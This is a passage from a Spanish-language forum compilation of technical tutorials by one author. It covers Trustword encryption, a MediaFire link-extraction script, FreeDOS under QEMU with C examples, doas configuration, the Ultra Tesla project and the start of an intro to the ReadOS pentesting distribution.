Desde el preludio de este austero artículo que tuvo el principal objetivo de inculcar, tanto a los novicios como a los más versados en la materia, las diferentes maneras de las que se podría o, implementar, o, usar un proxy en plataformas Gnu/Linux y compatibles, con el propósito, ya sea de aumentar la privacidad, la seguridad, evadir las restricciones que impone un gobierno, o para englobar, acceder a ciertos recursos que no son posibles de llevar a cabo en tal nación determinada. Espero sea de verdad muy útil para el que esté leyendo las siguientes líneas.


Este artículo es una especie de segunda versión de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que se hizo hace mucho tiempo, puliendo algunos detalles y agregando otros, es por eso que algunas características pueden tener cierto parentesco.


~ DtxdF
#17
Trustword es un programa muy simple para la firma, el cifrado y el mantenimiento de claves para facilitar y fortalecer una comunicación segura. Usa internamente (gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) para el cifrado XSalsa20, y en el caso de la criptografía asimétrica, se complementa con el intercambio de claves X25519. Y para la firma digital Ed25519ph con SHA512. En el caso del almacenamiento de contraseñas usa No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Dependencias:

Usando el gestor de paquetes de nuestro sistema, podremos instalar las siguientes dependencias que harán funcionar a trustword:


  • gcc (recomendado) o clang (no probado)
  • cmake
  • openssl
  • libsodium
  • argon2
  • sqlite3

Arch Linux:

Código: bash
sudo pacman -S base-devel cmake openssl libsodium argon2 sqlite3


Debian:

Código: bash
sudo apt-get install libssl-dev libsqlite3-dev libsodium-dev libargon2-dev cmake make gcc


FreeBSD:

Código: bash
doas pkg install gcc cmake openssl libsodium libargon2 sqlite3


Instalación:

Ya habiendo instalado las dependencias correspondientes para nuestro sistema, es hora de realizar la instalación:

Código: bash
git clone https://github.com/UltraTesla/trustword.git
cd trustword
chmod +x dependences.sh
./dependences.sh
sudo chown <Tu nombre de usuario>:<Tu grupo> ~/.trustword
trustword --help


Tutorial:

Antes que nada es necesario generar nuestro par de claves, o en otras palabras, la clave pública, la secreta, la del firmado, y la de verificación. Afortunadamente es tan fácil como ejecutar un comando con la información necesaria:

Código: bash
trustword -g --user [Nombre de usuario] --password [Contraseña]


Recordando que si no se ajustara un nombre de usuario conveniente, trustword usaría el valor de la variable de entorno USER.


Resultado de generar las claves

Una vez generadas, es posible, nuevamente con un simple comando, visualizar todas las claves de nuestro sistema:

Código: bash
trustword -l



Las claves que están en nuestro sistema

Algo peculiar de trustword es que no almacena los nombres de usuarios tal cual se escriben, más bien guarda la suma de verificación (SHA3_224(), específicamente) con el propósito de agregar un extra de confidencialidad. La contra de este método de almacenamiento es que se necesita conocer de antemano el nombre de usuario del remitente y del destinatario, por lo que podría dificultar el mantenimiento.

Pero qué mejor forma de demostrar lo que digo que importando la clave pública y de nuestro compañero @Kirari:


Código: bash
trustword -i [Ruta de la clave] --hash [Huella dactilar]



Importando la clave de nuestro compañero

Una vez le compartimos nuestra clave pública (y de verificación, en caso de ser necesario) tendremos la posibilidad de comunicarnos de forma segura con la otra parte a tratar, pero primero hay que exportar nuestra clave pública correspondiente, ya sea en binario, o en formato hexadecimal (usando el parámetro -h), siendo este último una muy buena opción en caso de no poder distribuir la clave como un archivo.

Código: bash
trustword -e --user [Nombre de usuario]



Exportando mi clave pública

Para importar una clave en trustword es necesario indicar, además de la clave, su huella dactilar. Una muy útil forma de verificar que la clave a importar sea la del usuario correspondiente y también verifica que no se haya modificado en el transcurso.

Una vez hecho el apretón de manos con nuestra otra parte, es posible cifrar.


Código: bash
./trustword -C [Nombre del archivo a cifrar] --from [Nombre de usuario - origen] --to [Nombre de usuario - destino] --password [Contraseña de la clave secreta del usuario de origen]



Cifrando el mensaje para nuestro compañero

Tal vez surga la duda de por qué trustword necesita de la contraseña que usamos en la generación del par de claves. Pues es una sencilla cuestión: trustword almacena la clave secreta y de firmado cifrada para que un atacante al obtener la base de datos, en caso de un ataque, no pueda obtener su contenido.


Descifrando el mensaje de nuestro compañero

Siguiendo con el tema de cifrado. Si el usuario no desea generar su par de claves, está la posibilidad de usar el cifrado simétrico, lo cual implica que las dos partes sepan de antemano la contraseña para el cifrado y descifrado.

Código: bash
./trustword -k [Nombre del archivo a cifrar] --password [Contraseña]



Vídeo:

Nuestro compañero @Kirari realizó un vídeo para el que desee ver una demostración visual de la herramienta:


~ DtxdF
#18

A veces necesitamos descargar una carpeta o un único archivo que esté siendo hospedado por un servicio de alojamientos de archivos muy famoso, aunque en la actualidad muy poco se usa, éste tuvo su brillantez en una época, y por si se lo preguntan, ese servicio es, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el cual nos da un extra en nuestro tiempo, que podría considerarse, desperdiciado:


Lo que pasa al presionar el botón Download folder

Pero no hay necesidad de mostrar preocupación, ya que la solución es más fácil de lo que parece, pero si algo es mejor para este sencillo tutorial, son los detalles empíricos. Y como extra para los flojillos, pueden ir a la sección "El script" donde pueden ver su instalación, y su uso sin necesidad de ver qué hay detrás de él.

Obteniendo los enlaces manualmente:

Primero que nada, y ya con el enlace del archivo en cuestión, que en este caso será una carpeta. Debemos ver el siguiente patrón en la URI:

Código: text
https://www.mediafire.com/folder/[Identificador]


Una vez que lo deducimos, usaremos la API de mediafire, pero adicionando su correspondiente Identificador:

Código: text
https://www.mediafire.com/api/1.4/folder/get_content.php?r=rgfa&content_type=files&filter=all&order_by=name&order_direction=asc&chunk=1&version=1.5&folder_key=[IDENTIFICADOR]&response_format=json



Respuesta en formato No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como se puede apreciar, es realmente sencillo, y cabe aclarar que para el caso de los archivos no se hace nada más especial, ni siquiera hace uso de la API, más bien realiza No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para obtener el correspondiente enlace de descarga.

El script:

Antes que nada, aquí se enumeran los requerimientos si queremos que su ejecución sea plena:


  • lxml
  • bs4
  • requests

Claro está que tenemos la oportunidad de escoger entre usar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y el gestor de paquetes de nuestro sistema, pero sería más recomendable optar por la segunda opción por las ventajas que tiene, como la actualización que se lleva a cabo al actualizar el sistema. Sin embargo, para no complicar el tutorial, usaremos pip y cada cual puede hacer una equivalencia con los nombres respectivos en los repositorios de su sistema.

Código: bash
pip install lxml
pip install bs4
pip install requests


Nota: Cabe aclarar que es mejor verificar su versión de pip correspondiente (que sea apto para python3.6 en adelante)

Luego, clonamos el repositorio:


Código: bash
git clone https://github.com/DtxdF/mediafire2links.git
cd mediafire2links
python3 mediafire2links.py


Pasos para la obtención:

Si ya hemos llegado hasta acá es porque hemos pasado lo peor. Pero ahora, y para ultimar el tutorial, vamos a lo que vinimos: obtener enlaces de las descargas de los archivos.

Debemos, ante nada, tener un enlace de algún archivo o carpeta que deseemos. En el caso de una carpeta es algo más especial en las instrucciones, ya que no necesitamos completamente la URL, más bien su identificador, que se puede obtener siguiendo el siguiente patrón:


Código: text
https://www.mediafire.com/folder/[Identificador]


Mayormente es una secuencia inhumana de caracteres, pero será fácilmente deducible.


La localizaciones de los archivos de una carpeta

Nota: Se ofuscuraron las direcciones para evitar su descarga.

He aquí el correspondiente comando:

Código: bash
python3 mediafire2links.py d [Identificador]


Y aquí la explicación: en el caso de querer obtener los correspondientes enlaces de los archivos en una carpeta se debe colocar como tipo de archivo una 'D' sin importar si ésta es mayúscula o minúscula, al igual que si desea descargar un archivo, siendo su letra correspondiente, una 'F', y aquí su correspondiente ejemplo:


Obteniendo un archivo individualmente

Y como no puede faltar, su correspondiente comando:

Código: bash
python3 mediafire2links.py f https://mediafire.com/file/[Identificador]/[Nombre de archivo]


Por lo general, es irrelevante el nombre de archivo; su identificador y por supuesto, su URL es más que suficiente para el script.

Uso con wget:

Se tiene la libertad de escoger alguna herramienta para descargar los archivos, pero para este caso es recomendable wget que es una excelente herramienta, especialmente cuando queremos descargar una carpeta entera.

Código: bash
python3 mediafire2links.py d [Identificador] > links.txt
wget -c -vv -i links.txt


Conclusión:

Este script fue pensado para darselo a un compañero que me lo pidió, pero también quise compartirlo por si a alguno le era de agrado. Quiero aclarar que si surge un error o cualquier incongruencia, no está demás informarlo. Espero les haya gustado.

~ DtxdF
#19

Calculadora con notación polaca inversa

En la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta pudimos aprender la instalación de FreeDOS en QEMU, pero hacía falta varias cosas, que más allá de su uso, tienen que ver con el mantenimiento, instalación de paquetes y una de las cosas más esenciales de todo, las redes.

Paquetes necesarios:


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esto es simple. Abrimos QEMU con las opciones pre-configuradas en la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y ejecutaremos el comando fdimples, el cual nos muestra una interfaz No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Los controles pueden ser resumidos como lo siguiente:

*.- 🡡, 🡢, 🡣, 🡠: Moverse entre los diferentes elementos. Ya sea que estés en la lista de grupos de paquetes o de los paquetes mismos, las flechas hacia arriba y hacia abajo te ayudarán a desplazarte; si necesitas moverte entre grupo de paquetes o los paquetes que éstos contengan, las flechas hacia la derecha o la izquierda, son los de utilidad. En caso de que se necesite ver la descripción de un paquete, cuando se le esté apuntando (ver imagen, paquete FDNET) presione la flecha derecha y las flechas hacia arriba y hacia abajo expandirán o disminuirán la descripción y los programas que el paquete contenga.
*.- SPACE o ENTER: Misma funcionalidad. Seleccionar o confirmar una opción. En caso de querer seleccionar todo el grupo completo (ver imagen, grupo de paquete Networking), se necesita apuntar hacia él, y luego presionar ENTER o SPACE para seleccionar/deseleccionar todos los paquetes a instalar/desinstalar, o si simplemente se desea instalar un paquete, es necesario moverse hasta él y realizar el mismo procedimiento.

Así de sencillas son las instrucciones, ahora que se sabe la forma de instalar paquetes desde el CD-ROM (la misma imagen ISO, en nuestro caso) pasemos a instalar los paquetes necesarios para obtener Internet. En nuestro caso deben ser los siguientes:

*.- FDNET: paquete de soporte de red básico para FreeDOS para varias configuraciones de hardware y plataformas de máquinas virtuales.
*.- MTCP: Colección de herramientas TCP/IP para DOS de 16 bits, tales como: DHCP, IRC, FTP, Telnet, Netcat, HTGet, Ping, SNTP.
*.- Opcionalmente, aunque encarecidamente, se recomienda instalar también: curl, wget, ping

Como último paso para esta sección, reiniciamos.

Nota: Es necesario seguir con la siguiente sección para completar este paso.


Configuración de QEMU:

No solo es necesario instalar los paquetes para darle compatibilidad a FreeDOS para las máquinas virtuales y el hardware en sí, además es necesario configurar QEMU (o la máquina virtual que se esté usando) para que las configuraciones automatizadas y demás, pueden hacer efecto.

En nuestro caso ejecutaremos el siguiente comando:


Código: bash
qemu-system-i386 -net nic,model=pcnet -net user -k es -smp $(($(nproc)+1)) -m 32M -drive file=freedos.img,media=disk,format=raw -drive file=FD12CD.iso,media=cdrom -boot order=d



Resultado :D

El gestor de paquetes:

Sí, FreeDOS tiene un gestor de paquetes :D, y muy bueno, el cual nos permite instalar paquetes que no estén incluidos en el CD-ROM (la imagen ISO). En nuestro caso instalaremos los paquetes necesarios para programar en el mismo.

Antes de usar el gestor de paquetes necesario, para no perder tanto tiempo verificamos que no tengamos los paquetes deseados en la imagen ISO, los cuales son: DJGPP, i16butil, i16gcc, i16newli, i16budoc, i16gcdoc

En mi caso el único que tengo en la imagen ISO es DJGPP, por lo que paso a instalarlo usando fdimples:



Mientras que los demás, usaré fdnpkg para buscarlos y si son encontrados, instalarlos:


fdnpkg search i16

Ahora, instalamos:

Código: dos
fdnpkg install i16butil
fdnpkg install i16gcc
fdnpkg install i16newli
fdnpkg install i16budoc
fdnpkg install i16gcdoc


Una vez cuncluímos el proceso de instalación de los paquetes necesarios, necesitamos definir la variable que se mostrará en unos instantes en el archivo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que se encuentra en C:

Código: dos
set DJGPP=c:\devel\djgpp\djgpp.env


Pese a que tenemos y podríamos usar perfectamente el comando EDIT para editar archivos y hasta programar con él, es recomendable usar otro editor de texto que se adhiera a sus necesidades y preferencias. En mi caso, usaré simplemente pico, aunque fed tampoco está mal, desde luego, es posible ejecutar el siguiente comando y se mostrará todos los editores, o también se puede ingresar a los No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Código: dos
fdnpkg search edit



Editores válidos por el momento

Programación en C:

Para concluir este pequeño artículo, vamos a escribir dos programas en C; uno que imprima 'Hello World!' y otro que será una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

hello.c
Código: c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
printf("Hello World!\n");
return EXIT_SUCCESS;

}


Código: dos
i16gcc -o hello.exe -O2 hello.c
hello.exe



Ya compilamos nuestro hello world, pero ahora vamos a compilar un programa con más funcionalidades.

polish.c
Código: c
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <errno.h>
#include <math.h>
#include <stdbool.h>
#include "calculator.h"

#define MAX_NUMBERS 30

int main(int argc, char **argv) {
   long double *array = (long double *)malloc(sizeof(long double)*MAX_NUMBERS);
   long double *result = array;
   long double aux;
   char *endstr = NULL;
   int operator;
   int max_numbers, count;
   bool check = false;

   if (!array) {
  if (errno != 0)
perror("malloc");
  else
fprintf(stderr, "Possibly no memory\n");

  return EXIT_FAILURE;

   }

   max_numbers = MAX_NUMBERS;
   count = 0;
   while (--argc) {
  if (count++ >= max_numbers) {
max_numbers *= 2;
array = (long double *)realloc(array, sizeof(long double)*max_numbers);

if (!array) {
if (errno != 0)
   perror("realloc");
else
   fprintf(stderr, "Possibly no memory\n");

free(array);
return EXIT_FAILURE;

}

  }

  if (isdigit(**++argv)) {
errno = 0;
aux = strtold(*argv, &endstr);

if (errno != 0) {
perror("stdtold");
free(array);
return EXIT_FAILURE;

}

*result++ = aux;

continue;

  }

  if (!check)
check = true;

  result -= 2;
 
  if (isnan(*result) || isnan(*(result+1))) {
fprintf(stderr, "Invalid syntax!\n");
return EXIT_FAILURE;

  }

  operator = *argv[0];
  errno = 0;
  *result = calculate(*result, *(result+1), operator);
  result++;

  if (errno != 0) {
free(array);
return EXIT_FAILURE;

  }

   }

   if (check)
  printf("%Lg\n", *--result);
   else
  fprintf(stderr, "Invalid syntax!\n");

   free(array);

   return EXIT_SUCCESS;

}


calculator.c
Código: c
#include <stdio.h>
#include <errno.h>

long double calculate(long double n1, long double n2, int operator) {
long double result;

result = 0.0f;
switch (operator) {
case '+':
result = n1 + n2;
break;

case '-':
result = n1 - n2;
break;

case '*':
result = n1 * n2;
break;

case '/':
if (n2 == 0.0f) {
errno = EINVAL;
fputs("Zero divisor!\n", stderr);
} else
result = n1 / n2;
break;

default:
errno = EINVAL;
fprintf(stderr, "Invalid operator: '%c'\n", operator);

}

return result;

}


calculator.h
Código: c
long double calculate(long double n1, long double n2, int operator);


El proceso de compilación es sumamente sencillo:

Código: dos
i16gcc -o polish.exe -O2 polish.c calculator.c
polish.exe 2 2 +
polish.exe 4 2 *
polish.exe 2.5 2.5 +



Reto:

Aquí no acaba. Vamos a realizar una serie de retos para ver si los pueden completar. Básicamente consta de agregar nuevas funcionalidades a la calculadora:


  • Agregue más operadores binarios (que requieran de dos números) como el módulo, la potencia, etc
  • Sabiendo que los operadores lógicos no funcionan con el tipo de dato long double, agregue operadores, como AND, OR, XOR, etc.
  • Agregue operadores de relaciones, para determinar si dos números son iguales, uno es menor o igual, uno es mayor o igual, uno es mayor, uno es menor, uno es distinto del otro, etc

¿Cuántos puedes resolver? 3:)

Notas futuras:

Desde que empecé a hacer estos pequeños artículos no he querido usar QEMU; traté sin éxito de usar FreeDOS (no el pre-configurado) con DosEMU, que me pareció mucho mejor en cuanto a rendimiento y usabilidad, pero luego de error tras error, mejor lo dejaré para otra ocasión.

Material de referencia y altamente recomendada:

*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
#20
doas es un programa para ejecutar comandos como otro usuario. El administrador del sistema puede configurarlo para otorgar privilegios a usuarios específicos para ejecutar comandos específicos. Es gratuito y de código abierto bajo la licencia ISC y está disponible en Unix y varios sistemas Unix-like.


Fuente: NixCraft

doas es lo más simple que puedes conseguir teniendo muchas características del veterano sudo, no obstante a pesar de que éste último sea prácticamente un estándar de facto en la mayoría de sistemas, hay otros como OpenBSD que ya lo traen por defecto. Y no es por nada, doas es realmente fácil de usar y de configurar, ciertamente éso es debido a los patrones que contiene que analizaremos en brevedad.

Instalación:

Para la instalación en Gnu/Linux se usará debian, pero son libres de usar cualquier distribución de preferencia y que sea compatible. En el caso de FreeBSD, simplemente se instalará desde los repositorios.

Debian:

Código: bash
sudo apt install build-essential make bison flex libpam0g-dev 
git clone https://github.com/slicer69/doas.git
cd doas
sudo make install


FreeBSD:

Código: bash
su
pkg install doas


Nota: Al concluir la instalación de doas en FreeBSD tendremos un archivo de configuración de ejemplo en '/usr/local/etc/doas.conf.sample'. Si se desea usar ese y modificarlo según nuestros datos, mucho mejor, como lo haremos en este caso.

Configuración:

Como se comentó anteriormente, doas provee patrones muy fáciles de aprender y comprender. El patrón es: permit|deny [options] identity [as target] [cmd command [args ...]]

permit|deny: permit, permite la opción o el comando de doas escrito en la configuración; deny, es la contraparte de permit, por lo que deniega la opción o el comando escrito en la configuración.
[options]: Las opciones del comando u opción a tratar. Ya se describirá mejor este apartado en unos instantes.
identity: El nombre de usuario o gropo que está ejecutando el comando. En el caso de un usuario, se coloca una cadena de caracteres (como: dtxdf), pero en el caso de un grupo se colocan dos puntos y una cadena de caracteres como se mencionó (como: :wheel).
[as target]: Ejecutar una opción o comando como un usuario o grupo en específico.
[cmd command [args ...]]: Ejecutar el comando siguiendo las opciones especificadas anteriormente.

Nota: Todo lo que esté en | significan que se pueden ejecutar una de esas opciones (como en: permit|deny). Todo lo que esté entre corchetes, es opcional (como en: [options]).

[options] tienes una variedad de opciones que permiten cambiar el comportamiento de cada comando. Entre ellas están:

*- nopass: No se requiere que el usuario ingrese una contraseña
*- persist: Después de que el usuario se autentica con éxito, no vuelva a solicitar una contraseña durante algún tiempo. Funciona en OpenBSD solamente, La opción persist no está disponible en Linux o FreeBSD.
*- keepenv: Mantener el entorno de usuario por defecto. Para poder ejecutar la mayoría de aplicaciones GUI, el usuario debe tener la palabra clave keepenv especificada, ya que en caso de que no sea así, puede bloquear la aplicación de forma indefinida debido a una mala información que se le proporcione.
*- setenv {[variable ...] [variable=value ...]}: Se pueden especificar variables de entorno arbitrarias o incluso se pueden eliminar las ya definidas usando un guion (-) al inicio del nombre de ella.

Ahora siguiendo el archivo de configuración de ejemplo que está en '/usr/local/etc/doas.conf.sample', vamos a copiarlo a '/usr/local/etc/doas.conf' y empecemos a configurar:


Código: text
# Archivo de ejemplo para doas
# Por favor consulte la página de manual de doas.conf(5) para obtener información sobre
# cómo configurar un archivo doas.conf.

# Permitir a los miembros del grupo wheel ejecutar acciones como root
permit :wheel

# Permitir al usuario alice ejecutar comandos como el usuario root.
permit alice as root

# Permita que el usuario bob ejecute programas como root, manteniendo las variables de entorno. Útil para aplicaciones GUI.
permit keepenv bob as root

# Permita que el usuario cindy ejecute solo el administrador de paquetes pkg como root para realizar actualizaciones de paquetes.
permit cindy as root cmd pkg update
permit cindy as root cmd pkg upgrade


Otro ejemplo que podría resultar interesante en caso de no deseas ejecutar poweroff o reboot sin requerir contraseña es:

Código: text
permit nopass user as root cmd poweroff
permit nopass user as root cmd reboot


O también podríamos denegar el acceso a una operación:

Código: text
deny user cmd poweroff


Esto resultaría:

Código: text
doas poweroff
doas: Operation not permitted


Nota: user debe ser reemplazado por tu nombre de usuario.

¿Cuál es mejor?

Ninguno. sudo por un lado es complejo, y tiene muchas opciones de configuración que le ofrece a un administrador de sistemas versatibilidad, pero doas es perfecto para la mayoría de usuarios que solo requieren ejecutar una tarea con privilegios.

Material de referencia y recomendado:

*- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
#21
GNU/Linux / Instalación de FreeDOS en QEMU + Alternativas
Noviembre 01, 2020, 05:05:50 AM
FreeDOS es un sistema operativo completo, gratuito, de código abierto y compatible con DOS que se puede utilizar para jugar juegos DOS clásicos, ejecutar software empresarial heredado o desarrollar sistemas integrados. Cualquier programa que funcione en MS-DOS también debería ejecutarse en FreeDOS.


FreeDOS es mucho más que una aplicación para revivir algunas aplicaciones y juegos clásicos, además de ser muy útil en entornos donde haya sistemas heredados pero obsoletos, los cuales mayormente son usados en el sistema operativo MSDOS. FreeDOS además de ser compatible con las míticas aplicaciones de aquella época, hacen que cualquier aficionado veterano o curioso por aprender, le dé 5 estrellas a este proyecto que se ha mantenido por decadas.

Descarga:

En nuestro caso elegiremos la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que puede ser encontrada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Código: bash
wget -c -vv http://www.freedos.org/download/download/FD12CD.iso


Instalación:

Se usará QEMU sin un frontend gráfico, y será usado en FreeBSD, aunque el resultado no será diferente a otros sistemas. Si se desea usar un frontend gráfico en debian se puede leer No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. En el caso de Arch Linux, es recomendable No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de la misma wiki.

También se tiene la libertad de elegir otros virtualizadores compatibles...


Antes de empezar, es necesario crear una imagen usando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:


Código: bash
qemu-img create freedos.img 200M


El formato por defecto es crudo (raw, en inglés) que permite ser simple y fácilmente exportable a otros emuladores. También asignamos 200 Megabytes de espacio (suficiente para la mayoría de cosas, incluso puede ser una exageración).

Ahora ejecutamos FreeDOS:


Código: bash
qemu-system-i386 -smp cores=$(nproc) -m 32 -drive file=freedos.img,media=disk,format=raw -drive file=FD12CD.iso,media=cdrom -boot order=d


Nota: Para los usuarios de FreeBSD, deben crear un alias para nproc, mientras que en Gnu/Linux ya existe el comando como tal. Como por ejemplo:

Código: bash
alias nproc="sysctl -n hw.ncpu"


Explicación breve:

qemu-system-i386: Usaremos QEMU para emular un sistema con el juego de instrucciones del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
-smp cores=$(nproc): Configura algunas opciones para el invitado, como el número de núcleos a utilizar
-m 32: Le asignamos 32 megabytes de memoria (aunque 16 también funcionaría, me gusta exagerar :D)
-drive file=freedos.img,media=disk,format=raw: file=... define la imagen del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta; media=... define el tipo de medio (disk o cdrom); format=... define el formato del disco virtual, que en nuestro caso es en crudo (raw, en inglés).
-boot order=d: El orden de las unidades. a y b para el disquete 1 y 2; c para el primer disco duro; d para el primero cdrom

Nota: Es recomendable leer el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Ahora, una vez comprendemos cada parámetro y opción ajustada, lo ejecutaremos para pasar a instalarlo:



Ya hemos configurado correctamente nuestra máquina virtual, ahora seleccionamos la primera opción (Install to harddisk)


Ahora seleccionamos nuestro idioma de preferencia.


Presionamos: Sí - Continúe con la instalación


Presionamos: Sí - Crear tabla de particiones en la unidad C:


CitarFree FDISK es capaz de usar soporte de disco grande para permitirle crear particiones mayores a 2.048 MB usando particiones FAT32. Si habilita la compatibilidad con discos grandes, cualquier partición o unidad lógica de más de 512 MB se creará utilizando FAT32.

IMPORTANTE: si habilita la compatibilidad con discos grandes, algunos sistemas operativos podrán acceder a las particiones y unidades lógicas que tengan más de 512 MB de tamaño.

Si estás de acuerdo, presiona Y, que en nuestro caso será así.


Nos aparecerán varias opciones interesantes, pero la más relevante para este tutorial será la primera: Crear partición DOS o unidad lógica DOS (Create DOS partition or logical DOS drive, en inglés). Presionamos enter.


Ahora presionamos la primera opción, ya que nos interesa crear una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con el fin de instalar un sistema operativo en ella (FreeDOS, en nuestro caso).


Ahora nos pregunta si queremos usar el tamaño máximo de la partición disponible, que en nuestro caso será: Y


Finalizado la creación de la partición, terminemos el proceso saliendo con ESC.


Nos devolverá a este menú nuevamente, pero lo ignoraremos y presionaremos otra vez ESC


Ahora presionamos otra vez ESC para salir y que los cambios hagan efecto.


Reiniciamos presionando: Sí - Por favor, reiniciar ahora


Nos aparecerá el mismo menú del principio, y debemos presionar nuevamente la primera opción.


Otra vez seleccionamos el idioma de preferencia.


Presionamos: Sí - Continúe con la instalación


Le damos formato a la unidad presionando: Sí - Por favor, borrar y dar formato a la unidad C:.





Seleccionamos la distribución del teclado de nuestra preferencia, que en nuestro caso será: Español.


En esta parte se tiene la libertad de elegir cuántos paquetes instalar y si incluir con ellos, el código fuente. Solo paquetes básicos es una opción perfecta si solo queremos el software que está en MSDOS, pero Todos los paquetes es si queremos los paquetes básicos y el software que ha creado la comunidad FreeDOS con el tiempo. En nuestro caso la opción que está en la imagen es perfecta.


Presionamos: Sí - Por favor, instale FreeDOS 1.2.





Una vez finalizada la instalación, reiniciamos.


Ahora iniciamos el sistema.


Ya tenemos FreeDOS instalado en QEMU :D

Alternativas:

Dosbox:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es un emulador que recrea un entorno similar al sistema DOS con el objetivo de poder ejecutar programas y videojuegos originalmente escritos para el sistema operativo MS-DOS.

Existe dosbox-staging el cual es mantenido por los fanáticos de este emulador y tiene No tienes permitido ver los links. Registrarse o Entrar a mi cuenta respecto a Dosbox. La instrucciones pueden variar dependiendo de la distribución, así que lo dejaré en manos de los mismo autores: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

FreeBSD ya tiene incluido el paquete:


Código: bash
doas pkg install dosbox-staging


Con dosbox podemos hacer exactamente lo mismo que FreeDOS, pero no tendremos a disposición todo el software en comparación.


Jugando Ace of the Pacific

Antes de continuar, es recomendable ajustar un pequeño valor en el archivo de configuración de dosbox/dosbox-staging.

Código: bash
vim ~/.config/dosbox/dosbox-staging.conf


Cambiamos 'keyboardlayout' de 'auto' a 'es' para que tengamos preconfigurado la distribución del teclado.

Una vez iniciado dosbox:



Montamos un directorio que deseamos, como Games


Otro pequeño consejo es que para aumentar el rendimiento de los programas en dosbox, debemos aumentar la velocidad del CPU. Con CTRL + F11 lo disminuimos y con CTRL + F12 lo aumentamos. Es recomendable aumentarlo hasta donde sea coherente.

MSDOS:

Sí, hasta él se puede usar nuevamente pero hay que recordar que ya no está mantenido, aunque FreeDOS es caso contrario, pero en caso de que eso no importe, se puede descargar el código fuente mismo desde el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Juegos clásicos:

Podemos conseguir juegos clásicos en las siguientes páginas:


Lectura recomendada:


~ DtxdF
#22
Ultra Tesla es un proyecto de código abierto para crear redes distribuidas de servicios fácil, rápido y seguro, usando el poder de computo de múltiples ordenadores. El proyecto permite unificar los distintos servidores en una única interfaz que es proporcionada para el mismo usuario creando una sensación de transparencia.


Este proyecto lo llevo haciendo desde hace algún tiempo en mis tiempos libres. En esta nueva versión le he dedicado más esfuerzo que a la primera e incluso he estudiado algunas cosas nuevas para poder llevarlo a cabo, espero les guste y les sea de utilidad.

¿Qué hay de nuevo?:

En la última versión se hicieron grandes cambios, se arreglaron varios errores y se mejoraron muchas funcionalidades. Entre las más destacadas:


  • Posibilidad de transferir grandes cantidades de datos (probado con 3.5 GiB)
  • Eficiencia en cuanto a procesamiento y usabilidad en la memoria
  • Esquema de cifrado AES-GCM/RSA/SHA3 cambiado por uno más eficiente pero que ofrece la misma seguridad: x25519-xsalsa20-poly1305MAC y para la firma de los datos: ed25519.
  • UTeslaCLI ahora carga el triple de rápido y consume menos recursos.
  • Ya no se usa HTTP, ahora se usa simplemente TCP y en la capa de aplicación: ProtoTesla
  • Ahora es mucho más modular. Antes las funcionalidades que creaban la infraestructura de Ultra Tesla estaban en el mismo núcleo, lo cual hacía que fuera difícil de mantener a corto y largo plazo, por lo que se optó por transformar esas funcionalidades en servicios independientes.
  • Ya no se modifica el código en tiempo de ejecución (lo cual era catastrófico); se optó por usar composición.

Entre los fallos arreglados:


  • No se podía usar SSL en el cliente MySQL
  • No se podía usar un proxy
  • Cuello de botella en el núcleo
  • Se usaba reflexión sin una lista exclusiva de atributos permitidos
  • Condición de carrera cuando varios clientes se conectaban y usaban el mismo usuario
  • Ya no se autorecargan los módulos en tiempo de ejecución (lo cual era catastrófico y lento)

Wiki y documentación:


Wiki: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

TODO:


  • Probarlo en más sistemas unix-like y otros, como Windows.
  • Transferir mucho más rápido los datos de gran magnitud
  • Subirlo a AUR

Bugs:

Al momento de importar un módulo o librería ya sea en un servicio o un «plugin» se necesita asegurar que no ha sido importado anteriormente. Esto se puede saber de la siguiente manera:

Código: python
import sys
print("<módulo o librería>" in sys.modules)


Para recrear un ejemplo más realista de lo anteriormente mostrado usando una librería fictia llamada "foo":

Código: python
import sys
print("foo" in sys.modules)


Una incongruencia que estoy tratando de solucionar.

~ DtxdF
#23
Cuando realizamos una auditoria o estamos en pleno ataque necesitamos ser rápidos y eficientes, además tener un kit de herramientas que demuestre todo nuestro potencial y conocimiento, el equipo de Error404Security nos trae una distribución que se une para hacer frente a ello. Más de 200 herramientas, eficiencia ante nada, estabilidad y personalización al 100%. Sin duda una distribución que fortalecerá las habilidades de todo pentester.


ReadOS es una distribución basada en Arch Linux diseñada principalmente para la auditoría y seguridad informática en general. Entre lo que destaca podemos mencionar las siguientes categorias con algunas herramientas muy conocidas:

*- Sniffing/Spoofing: Ettercap, Bettercap
*- Explotación: Metasploit-Framework,Yetsinia
